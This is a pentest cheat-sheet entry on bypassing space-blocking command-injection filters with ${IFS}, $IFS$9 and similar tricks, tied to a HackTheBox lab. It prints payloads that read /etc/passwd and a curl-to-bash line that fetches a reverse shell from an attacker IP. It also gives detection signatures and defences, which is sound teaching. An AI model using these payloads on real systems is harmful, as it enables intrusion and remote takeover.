Space Filter Bypass (${IFS})
Full command arsenal in the cheatsheetMany command injection filters do not forbid injection: they forbid the space. It is a very common shortcut, because without spaces "you cannot pass an argument", and because the error message that gives it away is usually explicit ("Username can't contain whitespaces"). The problem is that a space is not the only way to separate words in a shell.
There are two ways to write a command with arguments without typing a space, and both are worth knowing because filters that block one rarely block the other:
${IFS}, the bash variable holding the Internal Field Separator. Its default value is space, tab and newline, so expanding it acts as exactly a space:
cat${IFS}/etc/passwd$'\x20'or$'\t', bash's escape-sequence expansion, which produces the character directly:
cat$'\t'/etc/passwd- And the one needing no separator at all, redirection, when the command takes input on
stdin:
cat</etc/passwdIf the filter also blocks braces, $IFS$9 works just as well: $9 is an empty positional parameter in a shell with no arguments, so it terminates the variable name without adding anything.
In practice, when the goal is a reverse shell, the convenient move is not writing the whole payload without spaces but fetching it: a short space-free command that downloads a script and runs it.
curl${IFS}http://<ip>/rev.sh|bash
echo${IFS}<base64-payload>|base64${IFS}-d|bashRequirements. That there is a POSIX shell behind the filter (bash, sh, dash): ${IFS} is shell expansion, not universal magic, and it means nothing if the value ends up in a direct execve or in cmd.exe. And that the filter is a character blacklist, which it almost always is when it rejects only the space.
How to detect it. In the application logs, the literal string ${IFS}, $IFS$9 or $'\t' in an input parameter has no legitimate explanation: it is one of the most reliable signatures there is, because no user types that by accident. On the host, the usual: the web process spawning sh, bash, curl or wget as a child. And on the network, outbound HTTP from the web server to an address that is none of its dependencies.
Defence. Do not build command lines from user input. When there is no way around it, use execve with an argument list instead of a shell string, and validate with an allow-list (a hostname is [a-zA-Z0-9.-]+, checked whole, not filtered character by character). Forbidding the space treats the symptom: what is surplus is the shell.
Machines where it's used
- CozyHostingHackTheBox